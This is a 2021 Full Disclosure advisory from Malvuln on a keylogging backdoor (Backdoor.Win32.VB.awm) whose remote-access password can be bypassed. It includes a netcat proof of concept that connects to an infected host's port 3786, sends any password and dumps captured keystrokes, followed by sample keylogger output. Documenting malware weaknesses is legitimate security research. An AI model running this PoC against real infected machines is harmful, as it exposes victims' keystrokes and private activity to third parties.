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Date: Thu, 9 Sep 2021 16:14:10 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.VB.awm / Authentication Bypass - Information
	Leakage

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/2271d942a23a89d7adea524d4ac3c13f.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.VB.awm
Vulnerability: Authentication Bypass - Information Leakage
Description: The "Cryptech Heat" malware listens on TCP port 3786 and has
an option to set an remote access password. The malware also runs a
keylogger, we see imports for GetAsyncKeyState, GetKeyState, keybd_event
and GetActiveWindow modules. Third-party attackers connecting to the
infected system can use any password and will essentially see anything the
victim types, searches or programs they run. As all information is piped
out to whatever remote endpoint is connected.
Type: PE32
MD5: 2271d942a23a89d7adea524d4ac3c13f
Vuln ID: MVID-2021-0339
Disclosure: 09/09/2021

Exploit/PoC:
nc64.exe x.x.x.x 3786
authorisation;whatever
kl;

{ WINDOW : doit - Notepad }
{CTRL}añkl;*** greetz Eduardo B!***ñ

{ WINDOW : C:\Users\Victim\Desktop\New Text Document.txt - Notepad++ }
ñkl;you know whereñkl; and you know whyñkl;, ñkl;see u soonñkl;

{ WINDOW : Administrator: Administrator Command Prompt }
ñkl;

{ WINDOW : CovertAgent Server }


{ WINDOW : Administrator: Administrator Command Prompt }


{ WINDOW : Registry Editor }
ñkl;{CTRL}

{ WINDOW : Find }
f0day_fileñkl;

{ WINDOW : Cortana }

{ WINDOW : Find }
ñkl;

{ WINDOW : Administrator: Administrator Command Prompt }
ñkl;

{ WINDOW : Program Manager }
ñkl;

{ WINDOW : mystuff }
ñkl;meet me tomorñkl;row 5th ave anñkl;d 18th str{backspc}ñkl;

{ WINDOW : Administrator: Administrator Command Prompt }


{ WINDOW : mystuff }
ñkl;p{backspc}bowñkl;eray{backspc}{backspc}{backspc}ñkl;ryñkl; and canalñkl;

{ WINDOW : Program Manager }
ñkl;

{ WINDOW : bowerynd LES - Search Results in mystuff }


{ WINDOW : Program Manager }
ñkl;

{ WINDOW : Microsoft Windows }


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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